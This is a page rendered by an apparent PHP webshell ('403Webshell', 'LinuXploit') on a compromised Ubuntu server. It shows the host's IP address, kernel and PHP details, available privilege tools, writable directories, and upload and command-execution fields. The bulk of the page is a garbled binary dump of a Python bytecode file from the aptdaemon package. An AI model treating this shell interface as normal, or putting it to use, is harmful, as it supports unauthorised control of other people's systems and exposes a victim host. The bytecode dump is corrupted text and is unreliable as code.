403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/aptdaemon/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/aptdaemon/__pycache__/gtk3widgets.cpython-310.pyc
o

T@3b���@s6dZdZdZddlZddlZddlZddlZddlZddlZe�	dd�e�	dd�e�	d	d�ddl
Z
dd
lmZddlm
Z
ddlmZdd
lmZddlmZddlmZddlmZddlTddlmZddlmZdd�Zeed��\ZZGdd�dej�ZGdd�de�Z Gdd�de�Z!Gdd�dej"�Z#Gd d!�d!ej"�Z$Gd"d#�d#ej%�Z&Gd$d%�d%ej'�Z(Gd&d'�d'ej)�Z*Gd(d)�d)ej+�Z,Gd*d+�d+ej-�Z.Gd,d-�d-ej/�Z0Gd.d/�d/ej/�Z1Gd0d1�d1ej2�Z3Gd2d3�d3ej/�Z4Gd4d5�d5e1�Z5d6Z6Gd7d8�d8ej7�Z8Gd9d:�d:e1�Z9Gd;d<�d<e9�Z:dS)=zE
This module provides widgets to use aptdaemon in a GTK application.
z%Sebastian Heinlein <devel@glatzor.de>)�AptConfigFileConflictDialog�AptCancelButton�AptConfirmDialog�AptProgressDialog�AptTerminalExpander�
AptStatusIcon�AptRoleIcon�AptStatusAnimation�AptRoleLabel�AptStatusLabel�AptMediumRequiredDialog�AptMessageDialog�AptErrorDialog�AptProgressBar�DiffView�AptTerminal�N�Vtez2.91�Gdkz3.0�Gtk)�GObject)�GLib)r)r)�Pango)r�)�client)�*)�inline_callbacks)�	deferablecCst�d|�S)N�	aptdaemon)�gettext�dgettext)�msg�r!�7/usr/lib/python3/dist-packages/aptdaemon/gtk3widgets.py�<lambda>;sr#�c@s:eZdZdZdejjfdd�Zdd�Zdd�Z	d	d
�Z
dS)rzi
    Provides a Gtk.Image which shows an icon representing the status of a
    aptdaemon transaction
    NcCsDtj�|�||_d|_g|_|�dd�|dur |�|�dSdS�Nr)r�Image�__init__�
_icon_size�	icon_name�_signals�
set_alignment�set_transaction)�self�transaction�sizer!r!r"r'Fs�zAptStatusIcon.__init__cC�6|jD]}t�|�qg|_|j�|�d|j��dS)z Connect to the given transaction�status-changedN)r*r�
source_remove�append�connect�_on_status_changed�r-r.�sigr!r!r"r,Q�

�zAptStatusIcon.set_transactioncCs
||_dS)z.Set the icon size to gtk stock icon size valueN)r()r-r/r!r!r"�
set_icon_sizeYs
zAptStatusIcon.set_icon_sizecC�<t|�}|durtj}||jkr|�||j�||_dSdS)z3Set the status icon according to the changed statusN)�get_status_icon_name_from_enumr�STOCK_MISSING_IMAGEr)�set_from_icon_namer()r-r.�statusr)r!r!r"r5]�

�z AptStatusIcon._on_status_changed)�__name__�
__module__�__qualname__�__doc__r�IconSize�DIALOGr'r,r9r5r!r!r!r"rAsrc@s eZdZdZdd�Zdd�ZdS)rzh
    Provides a Gtk.Image which shows an icon representing the role of an
    aptdaemon transaction
    cCsD|jD]}t�|�qg|_|j�|�d|j��|�||j�dS)N�role-changed)r*rr2r3r4�_on_role_changed�roler6r!r!r"r,ls
�zAptRoleIcon.set_transactioncCr:)z"Show an icon representing the roleN)�get_role_icon_name_from_enumrr<r)r=r()r-r.�	role_enumr)r!r!r"rGtr?zAptRoleIcon._on_role_changedN)r@rArBrCr,rGr!r!r!r"rgsrc@sLeZdZdZdejjfdd�Zddd�Zdd�Z	d	d
�Z
dd�Zd
d�ZdS)rz_
    Provides a Gtk.Image which shows an animation representing the
    transaction status
    NcCsFt�|||�g|_d|_d|_d|_tt�}tt�}|�	||�dSr%)
rr'�	animation�ticker�
frame_counter�iter�#get_status_animation_name_from_enum�STATUS_WAITINGr;�
set_animation)r-r.r/�name�fallbackr!r!r"r'�szAptStatusAnimation.__init__c

Cs4||jkrdS|dur||_|��g}t�|j�\}}tj��}|dur}|�|�r}|�||d�}|�	�|}	|�
�|}
t|	�D]}t|
�D]}|�|�
||||||��qGqAt|�dkrs||_d|_|�|jd�|��n|�|�||_dS|dur�|�|�r�|�||j�||_dS|�tj�dS)z7Show and start the animation of the given name and sizeNr)r)r(�stop_animationr�icon_size_lookup�	IconTheme�get_default�has_icon�	load_icon�
get_height�	get_width�ranger3�	subpixbuf�lenrKrN�set_from_pixbuf�start_animationr=r<)
r-rRrSr/rK�width�height�theme�pixbuf�rows�cols�r�cr!r!r"rQ�s:

��



z AptStatusAnimation.set_animationcCs"|jdkrt�d|j�|_dSdS)zStart the animationr��N)rLr�timeout_add�_advance�r-r!r!r"r`�s
�z"AptStatusAnimation.start_animationcCs$|jdkrt�|j�d|_dSdS)zStop the animationrN)rLrr2rlr!r!r"rT�s

�z!AptStatusAnimation.stop_animationcCsP|�d�durd|_dS|jd|_|jt|j�krd|_|�|j|j�dS)zx
        Show the next frame of the animation and stop the animation if the
        widget is no longer visible
        �visibleFrrT)�get_propertyrLrNr^rKr_rlr!r!r"rk�szAptStatusAnimation._advancecCs t|�}t|�}|�||�dS)zC
        Set the animation according to the changed status
        N)rOr;rQ)r-r.r>rRrSr!r!r"r5�sz%AptStatusAnimation._on_status_changed�NN)
r@rArBrCrrDrEr'rQr`rTrkr5r!r!r!r"r~s

 rc@s*eZdZdZd	dd�Zdd�Zdd�ZdS)
r	�<
    Status label for the running aptdaemon transaction
    NcCsNt�|�|�dd�|�tjj�|�d�g|_|dur%|�	|�dSdS�Nr�)
�GtkLabelr'r+�
set_ellipsizer�
EllipsizeMode�END�set_max_width_charsr*r,�r-r.r!r!r"r'�s

�zAptRoleLabel.__init__cCsD|jD]}t�|�qg|_|�||j�|j�|�d|j��dS)�;Connect the status label to the given aptdaemon transactionrFN)r*rr2rGrHr3r4r6r!r!r"r,�s

�zAptRoleLabel.set_transactioncC�|�t|��dS)zSet the role text.N)�
set_markup�$get_role_localised_present_from_enum)r-r.rHr!r!r"rG��zAptRoleLabel._on_role_changed�N)r@rArBrCr'r,rGr!r!r!r"r	�s

		r	c@s2eZdZdZddd�Zdd�Zdd�Zd	d
�ZdS)r
rpNcCsPtj�|�|�dd�|�tjj�|�d�g|_	|dur&|�
|�dSdSrq)r�Labelr'r+rtrrurvrwr*r,rxr!r!r"r'�s
�zAptStatusLabel.__init__cCsL|jD]}t�|�qg|_|j�|�d|j��|j�|�d|j��dS)ryr1zstatus-details-changedN)r*rr2r3r4r5�_on_status_details_changedr6r!r!r"r,�s
���zAptStatusLabel.set_transactioncCrz)z3Set the status text according to the changed statusN)r{�get_status_string_from_enum�r-r.r>r!r!r"r5r}z!AptStatusLabel._on_status_changedcC�|�|�dS)z.Set the status text to the one reported by aptN)r{)r-r.�textr!r!r"r��z)AptStatusLabel._on_status_details_changedr~)r@rArBrCr'r,r5r�r!r!r!r"r
�s
	r
c@�:eZdZdZd
dd�Zdd�Zdd�Zd	d
�Zdd�ZdS)rz`
    Provides a Gtk.Progress which represents the progress of an aptdaemon
    transactions
    NcCsNtj�|�|�tjj�|�d�|�d�g|_	|dur%|�
|�dSdS)N� g�������?)r�ProgressBarr'rtrrurv�set_text�set_pulse_stepr*r,rxr!r!r"r's

�zAptProgressBar.__init__cCsb|jD]}t�|�qg|_|j�|�d|j��|j�|�d|j��|j�|�d|j��dS)z;Connect the progress bar to the given aptdaemon transaction�finishedzprogress-changedzprogress-details-changedN)r*rr2r3r4�_on_finished�_on_progress_changed�_on_progress_detailsr6r!r!r"r,s
��
�zAptProgressBar.set_transactioncCs&|dkr
|��dS|�|d�dS)zR
        Update the progress according to the latest progress information
        �dgY@N)�pulse�set_fraction)r-r.�progressr!r!r"r�%sz#AptProgressBar._on_progress_changedcCsz|dkr|dkr|�d�dS|dkr*|�td�t�|�t�|�t�|�f�dS|�td�t�|�t�|�f�dS)zW
        Update the progress bar text according to the latest progress details
        rr�NzDownloaded %sB of %sB at %sB/s�Downloaded %sB of %sB)r��_r�get_size_string)r-r.�
items_done�items_total�
bytes_done�bytes_total�speed�etar!r!r"r�.s

�
�
�
�z#AptProgressBar._on_progress_detailscCs|�d�dS)z9Set the progress to 100% when the transaction is completerN)r�)r-r.�exitr!r!r"r�@r�zAptProgressBar._on_finishedr~)	r@rArBrCr'r,r�r�r�r!r!r!r"rs
		rc@s.eZdZddd�Zdd�Zdd�Zd	d
�ZdS)�AptDetailsExpanderNTcCs�tjj|td�d�||_g|_|�d�|�d�|jr"t�|_	nd|_	t
�|_t��|_
|j
�tjj�|j
�tjjtjj�|j
�|j�|j
�d�t��}|�|j
ddd�|j	rg|�|j	ddd�|�|�|durw|�|�dSdS)N�Details��labelFriTr)r�Expanderr'r��
show_terminalr*�
set_sensitive�set_expandedr�terminal�AptDownloadsView�
download_view�ScrolledWindow�download_scrolled�set_shadow_type�
ShadowType�	ETCHED_IN�
set_policy�
PolicyType�NEVER�	AUTOMATIC�add�set_min_content_height�HBox�
pack_startr,)r-r.r��hboxr!r!r"r'Gs0



�
�zAptDetailsExpander.__init__cCsd|jD]}t�|�q|j�|�d|j��|j�|�d|j��|jr*|j�|�|j	�|�dS)ryr1�terminal-attached-changedN)
r*rr2r3r4r5�_on_terminal_attached_changedr�r,r�r6r!r!r"r,`s
���z"AptDetailsExpander.set_transactioncCs�|ttfvr|�d�|j��|jr|j��dSdS|tkr@|j��|jr4|j��|�d�dS|�d�|�d�dS|j��|jrM|j��|�d�|�d�dS)NTF)	�STATUS_DOWNLOADING�STATUS_DOWNLOADING_REPOr�r��showr��hide�STATUS_COMMITTINGr��r-�transr>r!r!r"r5ms$

�





z%AptDetailsExpander._on_status_changedcCs |r|jr|�d�dSdSdS)z&Connect the terminal to the pty deviceTN)r�r��r-r.�attachedr!r!r"r��s
�z0AptDetailsExpander._on_terminal_attached_changed�NT)r@rArBr'r,r5r�r!r!r!r"r�Es


r�c@s&eZdZddd�Zdd�Zdd�ZdS)	rNcCsttj�|�g|_t��\|_|_t�	|j�|_
|�dd�|�d�|�
tj�|j��|dur8|�|�dSdS)N�P�T)r�Terminalr'r*�pty�openpty�_master�_slave�os�ttyname�_ttyname�set_size�set_vexpand�set_pty�Pty�new_foreign_syncr,rxr!r!r"r'�s
�zAptTerminal.__init__cCsD|jD]}t�|�q|j�|�d|j��||_|j�|j�dS)ryr�N)	r*rr2r3r4r��_transaction�set_terminalr�r6r!r!r"r,�s
��zAptTerminal.set_transactioncCr�)zShow the terminalN�r�r�r!r!r"r��r�z)AptTerminal._on_terminal_attached_changedr~)r@rArBr'r,r�r!r!r!r"r�s

rc@r�)rzZ
    Provides a Gtk.Button which allows to cancel a running aptdaemon
    transaction
    NcCsLtj�|�|�d�|�tj�|�d�g|_|dur$|�|�dSdSr�)	r�Buttonr'�
set_use_stock�	set_label�STOCK_CANCELr�r*r,rxr!r!r"r'�s

�zAptCancelButton.__init__cCs\|jD]}t�|�qg|_|j�|�d|j��|j�|�d|j��|�d|j|�dS)ryr�zcancellable-changed�clickedN)r*rr2r3r4r��_on_cancellable_changed�_on_clickedr6r!r!r"r,�s
���zAptCancelButton.set_transactioncCr�)zY
        Enable the button if cancel is allowed and disable it in the other case
        Nr�)r-r.�cancellabler!r!r"r��sz'AptCancelButton._on_cancellable_changedcCs|�d�dS�NFr�r�r!r!r"r��szAptCancelButton._on_finishedcCs|��|�d�dSr�)�cancelr�)r-�buttonr.r!r!r"r��szAptCancelButton._on_clickedr~)	r@rArBrCr'r,r�r�r�r!r!r!r"r�s
	rc@sDeZdZdZeed��\ZZZddd�Z	dd�Z
dd	�Zd
d�ZdS)
r�z`A Gtk.TreeView which displays the progress and status of each dowload
    of a transaction.
    �NcCs�tj�|�t�tjtjtj�}|�|�d|j_	|�
d�i|_g|_|dur-|�
|�t��}tjj|j_t�td��}|�|d�|�|d|j�t��}t�td��}|�|d�|�||jd�|�|�|�|�|�|j�dS)NFT�File�markup�%)r�TreeViewr'�	ListStorer�TYPE_STRING�TYPE_INT�	set_model�props�headers_visible�set_rules_hint�
_download_mapr*r,�CellRendererTextrrurv�	ellipsize�TreeViewColumnr�r��
add_attribute�COL_TEXT�CellRendererProgress�set_cell_data_func�_data_progress�
append_column�set_tooltip_column�COL_URI)r-r.�model�cell_uri�column_download�
cell_progress�column_progressr!r!r"r'�s2�



�

zAptDownloadsView.__init__cCr0)z<Connect the download view to the given aptdaemon transactionzprogress-download-changedN)r*rr2r3r4�_on_download_changedr6r!r!r"r,�r8z AptDownloadsView.set_transactionc
Cs�z
t|d|�}Wntyd}Ynw|tkrd}|dkr"d}|dd�}	|	d7}	|tkrA|	td�t�|�t�|�f7}	n!|tkr\|dkrU|	td�t�|�7}	n
|	td�7}	n|	t|�7}	|	d	7}	|��}
|
sndSz|j	|}Wn=t
y�|
�|	||f�}||j	|<|��}|r�|�
�|��|��k}
|
r�|�|
�|�dd
d
d
�YdSYdSYdSw|
�||j|	�|
�||j|�dS)z)Callback for a changed download progress.r����Nz
<small>r�rzDownloaded %sB�
Downloadedz</small>F)�int�ZeroDivisionError�
DOWNLOAD_DONE�DOWNLOAD_FETCHINGr�rr��get_download_status_from_enum�	get_modelr��KeyErrorr3�get_vadjustment�	get_value�
get_page_size�	get_upper�scroll_to_cell�get_path�	set_valuer��COL_PROGRESS)r-r.�urir>�desc�	full_size�
downloaded�messager�r�r�rN�adj�is_scrolled_downr!r!r"r��s\����
�
���z%AptDownloadsView._on_download_changedcCs.|�||j�}|dkr||j_dS||j_dS)Nr�)rr
r�r��value)r-�column�cellr�rN�datar�r!r!r"r�+szAptDownloadsView._data_progressr~)
r@rArBrC�listr\r�r
r�r'r,r�r�r!r!r!r"r��s
5r�c@s�eZdZdZdejjejdfiZ		ddd�Z	dd	�Z
d
d�Zdd
�Zdd�Z
e		d dd��Zedd��Zdd�Zdd�Zdd�Zdd�Zdd�ZdS)!rz�
    Complete progress dialog for long taking aptdaemon transactions, which
    features a progress bar, cancel button, status icon and label
    r�r!NTc	Cs"tjj||d�d|_||_|�d�|�d�|���d�t	|�|_
|���|j
ddd�t�
�}|�d�|�d�t�|_|�|jddd�t��}|�d�t��|_|j�dd�|�|jddd�t��}|�d�t�|_|�|jddd�t�|_|j�dt�|�|jddd�|�|ddd�|�|ddd�t|d�|_|j�d|j�|�|jddd�|���|ddd�d|_g|_|� d	�|�!�|j�"d
d�t#j$j%t#j$j&B}z	|�'��(|�Wnt)y�|�'��(t#�$|��Ynw|du�r|�*|�|�d|j+�dS)
N��parent�Fr�T)r��notify::expanded��^r�zdelete-event),r�Dialogr'�_expanded_size�debconf�set_border_width�
set_resizable�get_content_area�set_spacingr�
button_cancel�get_action_arear�r�r�icon�VBoxr�
label_roler+rr�r
r�r5rPr��expanderr4�_on_expandedr�r*�	set_title�realize�set_size_requestr�
WMFunction�MOVE�RESIZE�
get_window�
set_functions�	TypeErrorr,�_on_dialog_delete_event)	r-r.rr�r#r��vbox�
vbox_progress�	functionsr!r!r"r'<sZ








�

zAptProgressDialog.__init__cCs|j��dSr�)r(r�)r-�dialog�eventr!r!r"r8ps
z)AptProgressDialog._on_dialog_delete_eventcCs�|��s|jj��|��f|_|�d�dS|jr;|�d�|j\}\}}||jj��kr3|��dS|�||�dS|�d�|��dS)NFT)	�get_expandedr-r��get_visible�get_sizer"r%�_resize_to_show_details�resize)r-r-�param�term_visible�stored_width�
stored_heightr!r!r"r.ts
�

zAptProgressDialog._on_expandedcCs�|��\}}|j��j}|j��j}|jj��r8|jj��d}|jj��d}|�	||||||�dS|�	|d|d�dS)a�Resize the window to show the expanded details.

        Unfortunately the expander only expands to the preferred size of the
        child widget (e.g showing all 80x24 chars of the Vte terminal) if
        the window is rendered the first time and the terminal is also visible.
        If the expander is expanded afterwards the window won't change its
        size anymore. So we have to do this manually. See LP#840942
        r�r�r�riN)
r@r-�get_allocationrarbr�r?�get_char_width�get_char_heightrB)r-�	win_width�
win_height�	exp_width�
exp_height�terminal_width�terminal_heightr!r!r"rA�s	
�z)AptProgressDialog._resize_to_show_detailscCs(|tkr|jj��r|��dSdSdSr~)r�r-r�r?rAr�r!r!r"r5�s

��z$AptProgressDialog._on_status_changedFcCs|�|||||�S)axRun the transaction and show the progress in the dialog.

        Keyword arguments:
        attach -- do not start the transaction but instead only monitor
                  an already running one
        close_on_finished -- if the dialog should be closed when the
                  transaction is complete
        show_error -- show a dialog with the error message
        )�_run)r-�attach�close_on_finished�
show_error�
reply_handler�
error_handlerr!r!r"�run�s
�zAptProgressDialog.runc
cs��z/|j�d|j||�}|j�|�|r|j��Vn|jr%|j�d�V|j��V|�	�Wnt
yK}z|r?||�n�WYd}~dSd}~ww|rS|�dSdS)Nr��gnome)r�r4r�r*r3�syncr#�set_debconf_frontendrV�show_all�	Exception)r-rQrRrSrTrUr7�errorr!r!r"rP�s,��
���
�zAptProgressDialog._runcCs&t|�}|�|�|j�d|�dS)z8Show the role of the transaction in the dialog interfacez<big><b>%s</b></big>N)r|r/r,r{)r-r.rJrHr!r!r"rG�s
z"AptProgressDialog._on_role_changedcCs�|jD]}t�|�qg|_|j�|�d|j��|j�|�d|j��|j�|�d|j��|j�|�d|j	��|�||j
�|j�|�|j
�|�|j�|�|j�|�||_dS)z5Connect the dialog to the given aptdaemon transactionr1rFzmedium-requiredzconfig-file-conflictN)r*rr2r3�
connect_afterr5r4rG�_on_medium_required�_on_config_file_conflictrHr�r,r*r�r-r�r6r!r!r"r,�s.
�����
z!AptProgressDialog.set_transactioncCsFt|||�}|��}|��|tjjkr|j�|�dS|j��dSr~)	rrVr�r�ResponseType�OKr��provide_mediumr�)r-r.�medium�driver<�resr!r!r"r^�sz%AptProgressDialog._on_medium_requiredcCsLt|||�}|��}|��|tjjkr|j�|d�dS|j�|d�dS)N�replace�keep)rrVr�rr`�YESr��resolve_config_file_conflict)r-r.�old�newr<rer!r!r"r_�sz*AptProgressDialog._on_config_file_conflictcCsD|r|��|tkr|rt|jj|�}|��|��|�d�dS)Nr�)r��EXIT_FAILEDr
r�r\rV�emit)r-r.r>�closerS�err_diar!r!r"r��szAptProgressDialog._on_finished)NNTT)FTTNN)r@rArBrCr�SignalFlags�	RUN_FIRST�	TYPE_NONE�__gsignals__r'r8r.rAr5rrVrrPrGr,r^r_r�r!r!r!r"r3s.�
�4�
		rc@s&eZdZdZ		ddd�Zdd�ZdS)�_ExpandableDialogzDialog with an expander.NcCs�|s	tjtjjf}tjj||d�|�d�|j|�|�d�|�	d�|�
��d�|s1tj}tj
�|tjj�}|�dd�t��}	|	�d�|	�	d�t��}
|
�d�|	�|ddd�|	�|
ddd�t��|_|j�d�|j�dd�|j�d�|
�|jddd�|�
��|	ddd�tj|d�|_|j�d�|j�d�|j�d	|j�d
|_|
�|jddd�d}|r�d|}|r�|r�|d7}||7}|j�|�|r�|j� |�d
S|j�!d�d
S)
a3Return an _AptDaemonDialog instance.

        Keyword arguments:
        parent -- set the dialog transient for the given Gtk.Window
        stock_type -- type of the Dialog, defaults to Gtk.STOCK_DIALOG_QUESTION
        expanded_child -- Widget which should be expanded
        expander_label -- label for the expander
        title -- a news header like title of the dialog
        message -- the message which should be shown in the dialog
        buttons -- tuple containing button text/reponse id pairs, defaults
                   to a close button
        rrFrrrTr�rNz<b><big>%s</big></b>z

)"r�STOCK_CLOSEr`�CLOSEr!r'r/�add_buttonsr%r$r&r'�STOCK_DIALOG_QUESTIONr&�new_from_stockrDrEr+r�r+r�rr��set_selectable�
set_line_wrapr�r-�set_use_underliner4r.r"r{r�r�)r-r�
stock_type�expanded_child�expander_label�titler�buttonsr*�	hbox_base�	vbox_leftr�r!r!r"r'sT







z_ExpandableDialog.__init__c	Csl|��r*|�d�|jr(z|�|jd|jd�WdSttfy'YdSwdS|��|_|�d�dS)NTrrF)r>r%r"rB�
IndexErrorr7r@)r-r-rCr!r!r"r.Bs
��
z_ExpandableDialog._on_expanded)NNNNNNN)r@rArBrCr'r.r!r!r!r"rts
�<rtc@�eZdZdZddd�ZdS)rz Dialog to ask for medium change.NcCsptjj||tjjd�td�|}td�|}|�d||f�|�tjtj	j
td�tj	j�|�tj	j�dS)N)r�typezCD/DVD '%s' is requiredzXPlease insert the above CD/DVD into the drive '%s' to install software packages from it.z<big><b>%s</b></big>

%s�	C_ontinue)
r�
MessageDialogr'�MessageType�INFOr�r{rwr�r`�CANCELra�set_default_response)r-rcrdrr�rr!r!r"r'Xs
���z AptMediumRequiredDialog.__init__r~�r@rArBrCr'r!r!r!r"rTsrc@sBeZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)rzODialog to confirm the changes that would be required by a
    transaction.
    Nc	CsHtjj||d�|�tjtjj�|�td�tjj�||_	||_
t|tj
�r2|��|j�|�n|�|�|�d�|�d�|���d�tj�tjtjj�}|�dd�t��}|�d�|�d�t��}|�d�|�|ddd�|�|ddd�t��|_|j� d�|j�dd�|�|jddd�|���|ddd�t�!t"j#�|_$tj%�&|j$�|_'|j'�(d�|j'�)d�t�*�|_+|j'�,|j+�t�-�}|j+�|d�|j+�.||j/d�t�0�}|j+�|d�|j+�.||j1d�t�2�|_3|j3�4tj5j6tj5j6�|j3�7tj8j9�|j3�:|j'�|�|j3ddd�|�;tjj�dS)	aHReturn an AptConfirmDialog instance.

        Keyword arguments:
        trans -- the transaction of which the dependencies should be shown
        cache -- an optional apt.cache.Cache() instance to provide more details
                 about packages
        parent -- set the dialog transient for the given Gtk.Window
        rr�TrrrFN)<rr!r'�
add_buttonr�r`r�r�ra�cacher��
isinstancer�Windowr0�window�set_transient_forr%r$r&r'r&ryrxrDrEr+r�r+r�rr�rz�	TreeStorerr��	treestorer��new_with_model�treeview�set_headers_visibler�r�rr��CellRendererPixbufr��render_package_iconr��render_package_descr��scrolledr�r�r�r�r�r�r�r�)	r-r�r�rr*r�r��	cell_icon�	cell_descr!r!r"r'lsh	



�




��
�zAptConfirmDialog.__init__c	Cs�|j��ttd�td�td�td�td�td�td�g�D]/\}}|jj|rM|j�dd	|g�}|jj|D]}|�|�D]}|j�|t|�g�q?q8qtd
�}t	|j�dkr�|j�
tj�
��}|j��|j�|�|j�d�|jjtr~td
�}nA|jjtr�td�}n6|jjtr�td�}n+|jjtr�td�}n |jjtr�td�}n|jjtr�td�}n
|jjtr�td�}t	|�dkr�|�d�|j�tjjtjj�n|j�dd�ntd�}|j�dd�|j� �|jj!�r|d7}|td�t"�#|jj!�7}|jj$dk�r|d7}|td�t"�#|jj$�7}n|jj$dk�r5|d7}|td�t"�#|jj$�7}|j%�&d||f�dS)z2Show a message and the dependencies in the dialog.�Install�	Reinstall�Remove�Purge�Upgrade�	DowngradezSkip upgradeNz	<b>%s</b>z0Please take a look at the list of changes below.rFz'Additional software has to be installedz*Additional software has to be re-installedz%Additional software has to be removedz$Additional software has to be purgedz&Additional software has to be upgradedz(Additional software has to be downgradedzUpdates will be skippedrr rizAdditional changes are required�
z %sB will be downloaded in total.rz %sB of disk space will be freed.z!%sB more disk space will be used.z<b><big>%s</big></b>

%s)'r��clear�	enumerater�r��dependenciesr3�map_package�strr^�
filter_newr�TreePath�	new_firstr��
expand_allr��set_show_expanders�PKGS_INSTALL�PKGS_REINSTALL�PKGS_REMOVE�
PKGS_PURGE�PKGS_UPGRADE�PKGS_DOWNGRADE�	PKGS_KEEPr%r�r�r�r�r�r1�collapse_all�downloadrr��spacer�r{)r-�indexr �piter�pkg�object�filtered_storer�r!r!r"�
_show_changes�s~
����







�

���zAptConfirmDialog._show_changescCs|gS)aMap a package to a different object type, e.g. applications
        and return a list of those.

        By default return the package itself inside a list.

        Override this method if you don't want to store package names
        in the treeview.
        r!)r-r�r!r!r"r��s	zAptConfirmDialog.map_packagecCs4|�|�}|��dkrd|j_nd|j_d|j_dS)z�Data func for the Gtk.CellRendererPixbuf which shows the package.

        Override this method if you want to show custom icons for
        a package or map it to applications.
        rFTzapplications-otherN)r�	get_depthr�rmr))r-rrr�rNr�pathr!r!r"r��s


z$AptConfirmDialog.render_package_iconc
	Cs�|�|d�}|s
dSz
|�d�dd�\}}Wn
ty$|}d}Ynwz|r4d|||j|jf}	n
d||j|jf}	WnttfyW|rQd||f}	nd|}	Ynw|�d	|	�dS)
z�Data func for the Gtk.CellRendererText which shows the package.

        Override this method if you want to show more information about
        a package or map it to applications.
        rN�=r$z%s (%s)
<small>%s</small>z%s
<small>%s</small>z%s (%s)z%sr�)r�split�
ValueErrorr��summaryrr7�set_property)
r-rrr�rNrr�pkg_name�pkg_versionr�r!r!r"r�s2������z$AptConfirmDialog.render_package_desccCs|��|��tj�|�Sr~)r�rZrr!rVrlr!r!r"rVszAptConfirmDialog.runro)
r@rArBrCr'r�r�r�r�rVr!r!r!r"rfs
;A
rc@s"eZdZdZddd�Zdd�ZdS)rzSDialog to resolve conflicts between local and shipped
    configuration files.
    NcCs�||_||_td�|}td�}tjddd�}|�tjjtjj�|�tj	j
�t�|_|j�
dd�|�|j�tj||td�|||td�tjjtd	�tjjfd
�|�tjj�dS)NzLReplace your changes in '%s' with a later version of the configuration file?zRIf you don't know why the file is there already, it is usually safe to replace it.T)�hexpand�vexpandr�ri�_Changes�_Keep�_Replace)rrr~r�rr�)�	from_path�to_pathr�rr�r�r�r�r�r�r�r�diffviewr1r�rtr'r`�NOrhr�)r-r�r�rr�r r�r!r!r"r'(s,���z$AptConfigFileConflictDialog.__init__cCs$|��|j�|j|j�t�|�Sr~)rZr��	show_diffr�r�rtrVrlr!r!r"rV?s
zAptConfigFileConflictDialog.runr~)r@rArBrCr'rVr!r!r!r"r"s
rzp^@@ \-(?P<from_start>[0-9]+)(?:,(?P<from_context>[0-9]+))? \+(?P<to_start>[0-9]+)(?:,(?P<to_context>[0-9]+))? @@c@s$eZdZdZdZdd�Zdd�ZdS)rz'Shows the difference between two files.u[…]
cCs�t��|_tjj||jd�|�dd�|�d�|j��}tj�	d�}|j
dd�|�|�tj�	d�}|j
ddd	�|�|�tj�	d
�}|j
ddd	�|�|�tj�	d�}|j
dd
d	�|�|�dS)N)�buffer�editableF�default�Mono)�fontr�z#8ae234)r��
background�removez#ef2929�numberz#eee)r�
TextBuffer�
textbuffer�TextViewr'r��set_cursor_visible�
get_tag_table�TextTagrk�set_propertiesr�)r-�tags�tag_default�tag_add�
tag_remove�tag_numr!r!r"r'Os.



�
�
�zDiffView.__init__cs�z2t|��}|��}Wd�n1swYt|��}|��}Wd�n1s,wYWn
ty<YdSw�fdd�}d}�j��}tj||dd�D]w}	|	�d�rut�	t
|	�}
|
sbqRt|
�d��}|d	krt||�j
d
�qR|	�d�s|	�d�r�qR|	�d
�r�|d	7}||t|�d�|||	d
�qR|	�d�r�|d	7}||t|�d�|||	d�qR|	�d�r�d
tt|��}|||d�|||	d�qRdS)z&Show the difference between two files.Ncs2|��}�j�||��j�|�j�|�|�dSr~)�
get_offsetr��insert�apply_tag_by_name�get_iter_at_offset)rNr��tag�offsetrlr!r"�insert_tagged_textss
�z.DiffView.show_diff.<locals>.insert_tagged_textrr)�linetermz@@�
from_startrr�z---z+++r�r��-r��+r�)�open�	readlines�IOErrorr��get_start_iter�difflib�unified_diff�
startswith�re�match�REGEX_RANGEr��group�ELLIPSISr�r^)r-r�r��fp�
from_lines�to_linesr��line_numberrN�liner��spacesr!rlr"r�fsN

�

���

�


��zDiffView.show_diffN)r@rArBrCr�r'r�r!r!r!r"rIs
rc@r�)�_DetailsExpanderMessageDialogz*
    Common base class for Apt*Dialog
    Nc		Cs�t��}|�tjjtjj�|�tjj�t��}|�	tj
j�|��}|�
|�tj||td�||||d�|��|rD|�|�dS|j�d�dS)N�_Details)rrr~r�rr}F)rr�r�r�r�r�r�r�r��
set_wrap_mode�WrapMode�WORD�
get_bufferr�rtr'r�rZ�insert_at_cursorr-�set_visible)	r-r�rr��detailsrr��textviewr�r!r!r"r'�s"
�z&_DetailsExpanderMessageDialog.__init__ror�r!r!r!r"r��rc@r�)r
zM
    Dialog for aptdaemon errors with details in an expandable text view
    NcCs0t|j�}t|j�}t�|||tj|j|�dSr~)�get_error_string_from_enum�code�get_error_description_from_enumrr'r�STOCK_DIALOG_ERRORr)r-r\rr�rr!r!r"r'�s


�zAptErrorDialog.__init__ror�r!r!r!r"r
�rr
);rC�
__author__�__all__r�rr�r�r��gi�require_version�apt_pkg�
gi.repositoryrrrrrrrr�enums�deferr�defer.utilsrr�rr\�	COLUMN_ID�COLUMN_PACKAGEr&rrrrr	r
r�rr�r�r�rr�rr�r�r!rrtr�rrrr�r�rrr
r!r!r!r"�<module>s`	
�&Q!:C(gPR=#K

Youez - 2016 - github.com/yon3zu
LinuXploit